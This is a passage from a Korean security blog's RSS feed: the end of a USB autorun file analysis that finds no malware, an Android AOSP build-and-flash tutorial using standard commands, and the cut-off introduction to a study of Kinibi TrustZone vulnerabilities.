&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;851&quot; data-origin-height=&quot;242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ng8lm/btryn8Z0nhi/CxKORX1vRZN36lUsIj5ZS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ng8lm/btryn8Z0nhi/CxKORX1vRZN36lUsIj5ZS1/img.png&quot; data-alt=&quot;ExecApplication 함수 호출&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ng8lm/btryn8Z0nhi/CxKORX1vRZN36lUsIj5ZS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fng8lm%2Fbtryn8Z0nhi%2FCxKORX1vRZN36lUsIj5ZS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;851&quot; height=&quot;242&quot; data-origin-width=&quot;851&quot; data-origin-height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ExecApplication 함수 호출&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ89n0/btryspySPDw/AbkMRhJiP9wnXnhEuFUAV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ89n0/btryspySPDw/AbkMRhJiP9wnXnhEuFUAV1/img.png&quot; data-origin-width=&quot;681&quot; data-origin-height=&quot;350&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.8323%; margin-right: 10px;&quot; data-widthpercent=&quot;48.4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ89n0/btryspySPDw/AbkMRhJiP9wnXnhEuFUAV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ89n0%2FbtryspySPDw%2FAbkMRhJiP9wnXnhEuFUAV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;681&quot; height=&quot;350&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDM6hG/btryg0gSf3a/ZGU7jGsnvpFbekKnHQvbG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDM6hG/btryg0gSf3a/ZGU7jGsnvpFbekKnHQvbG1/img.png&quot; data-origin-width=&quot;444&quot; data-origin-height=&quot;214&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;51.6&quot; style=&quot;width: 51.0049%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDM6hG/btryg0gSf3a/ZGU7jGsnvpFbekKnHQvbG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDM6hG%2Fbtryg0gSf3a%2FZGU7jGsnvpFbekKnHQvbG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;444&quot; height=&quot;214&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;ExecApplication 함수 내 runas 관련 코드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 결론&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PC에 USB 연결 후 A 파일에 의해서 B 파일이 실행되는데 이때 Windows 7 환경에서만 Windows 탐색기(explorer.exe) 실행한다. 또한, 아래와 같이 안랩에 분석 의뢰와 함께 종합적으로 분석한 결과는 악성코드가 아닌 것으로 판단된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1274&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T3DDT/btrywwMPMaF/H0Et4CFj9SW3vdoH5M4srK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T3DDT/btrywwMPMaF/H0Et4CFj9SW3vdoH5M4srK/img.png&quot; data-alt=&quot;안랩 문의 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T3DDT/btrywwMPMaF/H0Et4CFj9SW3vdoH5M4srK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT3DDT%2FbtrywwMPMaF%2FH0Et4CFj9SW3vdoH5M4srK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1274&quot; height=&quot;366&quot; data-origin-width=&quot;1274&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;안랩 문의 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ Reference ]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- autorun파일 설정하기 : &lt;a href=&quot;https://shpsuperman.tistory.com/11&quot;&gt;https://shpsuperman.tistory.com/11&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Win32/Virut.E.F : &lt;a href=&quot;https://www.ahnlab.com/kr/site/securityinfo/asec/asecCodeView.do?virusSeq=35210&amp;amp;tabGubun=Print&quot;&gt;https://www.ahnlab.com/kr/site/securityinfo/asec/asecCodeView.do?virusSeq=35210&amp;amp;tabGubun=Print&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- userinit.exe 란 무엇입니까? : &lt;a href=&quot;https://ko.nex-software.com/what-is-userinit-exe&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://ko.nex-software.com/what-is-userinit-exe&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- [Threat Analysis] MBR 감염시키는 '공포의 부트킷' 등장 : &lt;a href=&quot;https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=17907&quot;&gt;https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=17907&lt;/a&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Analysis Report</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/282</guid>
      <comments>https://netking.tistory.com/282#entry282comment</comments>
      <pubDate>Tue, 5 Apr 2022 19:23:15 +0900</pubDate>
    </item>
    <item>
      <title>Android AOSP Build</title>
      <link>https://netking.tistory.com/145</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드 AOSP 빌드를 보다 간략하고 쉽게 따라할 수 있도록 작성해보았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;빨간색&lt;/span&gt; 글자는 반드시 따라 안하셔도 되며, 안드로이드 장비에 맞게 설정하시길 바랍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;권장 환경&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;OS : Ubuntu 18.04 이상 (낮은 버전은 python2 때문에 꼬임)&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;RAM : 16G 이상 (16G 이하는 빌드가 잘 안됩니다.)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;용량 : 300G 이상&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;정신 : 튼튼한 삽질 멘탈&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;필수 설치&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;sudo&amp;nbsp;apt-get&amp;nbsp;update&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$ sudo&amp;nbsp;apt-get&amp;nbsp;install&amp;nbsp;git-core&amp;nbsp;gnupg&amp;nbsp;flex&amp;nbsp;bison&amp;nbsp;build-essential&amp;nbsp;zip&amp;nbsp;curl&amp;nbsp;zlib1g-dev&amp;nbsp;gcc-multilib&amp;nbsp;g++-multilib&amp;nbsp;libc6-dev-i386&amp;nbsp;libncurses5&amp;nbsp;lib32ncurses5-dev&amp;nbsp;x11proto-core-dev&amp;nbsp;libx11-dev&amp;nbsp;lib32z1-dev&amp;nbsp;libgl1-mesa-dev&amp;nbsp;libxml2-utils&amp;nbsp;xsltproc&amp;nbsp;unzip&amp;nbsp;fontconfig&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;소스 코드 다운로드&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$ mkdir &lt;span style=&quot;color: #ee2323;&quot;&gt;android&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;curl &lt;a href=&quot;http://commondatastorage.googleapis.com/git-repo-downloads/repo&quot;&gt;http://commondatastorage.googleapis.com/git-repo-downloads/repo&lt;/a&gt; &amp;gt; repo&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;chmod a+x repo&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$ sudo mv repo /usr/bin&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$ sudo&amp;nbsp;ln&amp;nbsp;-s&amp;nbsp;/usr/bin/python3&amp;nbsp;/usr/bin/python&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;git&amp;nbsp;config&amp;nbsp;--global&amp;nbsp;user.email &quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;이메일(ex. &lt;a href=&quot;http://admin@gmail.com)&quot;&gt;admin@gmail.com)&lt;/a&gt;&lt;/span&gt;&quot;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;git&amp;nbsp;config&amp;nbsp;--global&amp;nbsp;user.name &quot;&lt;span style=&quot;color: #ee2323;&quot;&gt;이름(ex. admin)&lt;/span&gt;&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;repo init -u &lt;a href=&quot;https://android.googlesource.com/platform/manifest&quot;&gt;https://android.googlesource.com/platform/manifest&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;repo init -u&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://android.googlesource.com/platform/manifest&quot;&gt;https://android.googlesource.com/platform/manifest&lt;/a&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;-b&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;android-12.0.0_r27&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;( -b 옵션은 희망하는 빌드 번호에 맞게 repo 됩니다. )&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;( 단, 옵션 없을 시 최신 빌드로 받아집니다...만 엄청난 시간이 걸리므로 옵션 사용을 추천드립니다. )&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;( 참고 :&amp;nbsp;&lt;a href=&quot;https://source.android.com/setup/start/build-numbers#source-code-tags-and-builds&quot;&gt;https://source.android.com/setup/start/build-numbers#source-code-tags-and-builds&lt;/a&gt; )&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;repo sync &lt;span style=&quot;color: #000000;&quot;&gt;-j &lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;32&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;( j 뒤에 숫자는 CPU를 보고 맞춥니다. ex. &lt;span style=&quot;color: #000000;&quot;&gt;repo sync&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;-&lt;/span&gt;j2, &lt;span style=&quot;color: #000000;&quot;&gt;repo sync&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;-&lt;/span&gt;j4, &lt;span style=&quot;color: #000000;&quot;&gt;repo sync&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;-&lt;/span&gt;j8 등)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; source&amp;nbsp;build/envsetup.sh&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;lunch&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-filename=&quot;25181741587B992B2B.png&quot; data-origin-width=&quot;715&quot; data-origin-height=&quot;236&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k2zxR/btqABsVgIkH/tMFVvpII72TMFm38ipEl60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k2zxR/btqABsVgIkH/tMFVvpII72TMFm38ipEl60/img.png&quot; data-alt=&quot;Nexus 빌드 네임&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k2zxR/btqABsVgIkH/tMFVvpII72TMFm38ipEl60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk2zxR%2FbtqABsVgIkH%2FtMFVvpII72TMFm38ipEl60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;715&quot; height=&quot;236&quot; data-filename=&quot;25181741587B992B2B.png&quot; data-origin-width=&quot;715&quot; data-origin-height=&quot;236&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Nexus 빌드 네임&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;( 자신이 빌드하고자 하는 장비에 맞게 선택해주시면 됩니다. )&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;( ex. Nexus 5X인 경우 &quot;&lt;span style=&quot;color: #000000;&quot;&gt;aosp_&lt;/span&gt;bullhead&lt;span style=&quot;color: #000000;&quot;&gt;_userdebug&quot;&lt;/span&gt;으로 29번 선택 )&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;make &lt;span style=&quot;color: #000000;&quot;&gt;-j &lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;32&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이미지 주입&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;※ 생성된 이미지를 가져와 윈도우10에서 작업하였습니다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;※ 키 생성 과정이 생략되어 추후 작성하겠습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- &lt;span style=&quot;color: #000000;&quot;&gt;fastboot&lt;span&gt; 모드 진입은 전원키+볼륨상+볼륨하를 꾸욱 눌려줍니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;- 언락&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;$ &lt;span style=&quot;color: #000000;&quot;&gt;fastboot oem unlock&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 빌드&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;set ANDROID_PRODUCT_OUT=&lt;span style=&quot;color: #ee2323;&quot;&gt;이미지가 들어가있는 폴더&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;fastboot -w flashall&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;References&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://source.android.com/setup&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://source.android.com/setup&lt;/a&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://www.howtoforge.com/tutorial/building-and-flashing-a-secured-aosp-build-with-verified-boot-and-separate-lockscreen-password-for-the-nexus-5x/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Building and flashing a secured AOSP build with verified boot and separate lockscreen password for the Nexus 5X&lt;/a&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://gamdekong.tistory.com/56?category=763105&quot;&gt;안드로이드 포팅 1-2 AOSP 빌드하기&lt;/a&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://programist.tistory.com/entry/%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-%EC%97%90%EB%AE%AC%EB%A0%88%EC%9D%B4%ED%84%B0-%ED%99%98%EA%B2%BD%EC%97%90%EC%84%9C-OS-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EC%A0%81%EC%9A%A9%EC%9D%84-%EC%9C%84%ED%95%9C-%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-OS-%ED%92%80-%EC%86%8C%EC%8A%A4-%EB%B9%8C%EB%93%9C-%EB%B0%A9%EB%B2%95&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;안드로이드 에뮬레이터 환경에서 OS 이미지 적용을 위한 안드로이드 OS 풀 소스 빌드 방법&lt;/a&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://webnautes.tistory.com/1141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;안드로이드 스튜디오의 에뮬레이터 설치 및 사용 방법&lt;/a&gt;&lt;/blockquote&gt;</description>
      <category>Android</category>
      <category>Android</category>
      <category>AOSP</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/145</guid>
      <comments>https://netking.tistory.com/145#entry145comment</comments>
      <pubDate>Thu, 10 Feb 2022 16:59:12 +0900</pubDate>
    </item>
    <item>
      <title>안드로이드 보안 컨테이너 Kinibi 기반 TrustZone 취약점 분석</title>
      <link>https://netking.tistory.com/280</link>
      <description>&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;1. 서론&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;오늘날 스마트폰은 현대인에 있어 필수적인 장비가 되었고 그만큼 개인정보와 같이 민감한 정보를 담고 있습니다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;현재 안드로이드 시스템은 주로 크로스 사이트 공격&lt;/span&gt;&lt;span&gt;(Cross-site scripting, XSS), &lt;/span&gt;&lt;span&gt;권한 상승 공격&lt;/span&gt;&lt;span&gt;(Privilege Escalation), &lt;/span&gt;&lt;span&gt;이미지 변조 및 악성 애플리케이션&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;리플레이 공격&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;통신 공격&lt;/span&gt;&lt;span&gt;, NFC &lt;/span&gt;&lt;span&gt;공격&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;서비스 거부 공격 등과 같은 보안 위험에 직면해오고 있어서 높은 보안 표준을 유지하는 것이 중요하다고 봅니다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;특히 안드로이드는 &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;억 개 이상의 단말기를 보유한 가장 일반적으로 사용되는 운영 체제이나&lt;/span&gt;&lt;span&gt; 오픈 소스 특성과 사용의 유연성은 해커들의 많은 관심을 끌고 있습니다&lt;/span&gt;&lt;span&gt;[4]. &lt;/span&gt;&lt;span&gt;그러나 공격 보호를 위해 현재 연구의 대부분은 애플리케이션 계층에 있습니다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;이러한 솔루션은 현재 모바일 단말기가 직면한 보안 문제를 근본적으로 해결할 수 없으며&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;단말기는 여전히로부터 위협을 받을 수 있음으로 모바일 단말기의 시스템 계층에서 시작하여 안전하고 신뢰 시스템&lt;/span&gt;&lt;span&gt;(Trusted System)&lt;/span&gt;&lt;span&gt;을 구축할 필요가 있습니다&lt;/span&gt;&lt;span&gt;[2].&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;안드로이드 시스템 계층의 보안 연구에는 &lt;/span&gt;&lt;span&gt;SEAndroid, &lt;/span&gt;&lt;span&gt;하드웨어 기반 가상화 기술&lt;/span&gt;&lt;span&gt;(Virtualization Technology) &lt;/span&gt;&lt;span&gt;및 &lt;/span&gt;&lt;span&gt;ARM &lt;/span&gt;&lt;span&gt;기반 &lt;/span&gt;&lt;span&gt;TrustZone &lt;/span&gt;&lt;span&gt;기술의 &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;가지 주요 방법이 있고&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;이러한 기술의 도입은 악성 애플리케이션이 시스템을 공격하는 것을 대부분 대응할 수 있었지만&lt;/span&gt;&lt;span&gt;, &lt;span&gt;Trusty TEE&lt;/span&gt;&lt;/span&gt;&lt;span&gt;에 의존해야 하며 공격자의 직접적인 공격에는 방어할 수 없습니다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;본 연구는 안드로이드 시스템의 아키텍처를 이해하고 &lt;/span&gt;&lt;span&gt;2019&lt;/span&gt;&lt;span&gt;년부터 &lt;/span&gt;&lt;span&gt;2021&lt;/span&gt;&lt;span&gt;년까지 안드로이드 모바일 플랫폼에서 발생한 취약점 중 &lt;/span&gt;&lt;span&gt;Kinibi &lt;/span&gt;&lt;span&gt;기반 &lt;/span&gt;&lt;span&gt;TrustZone 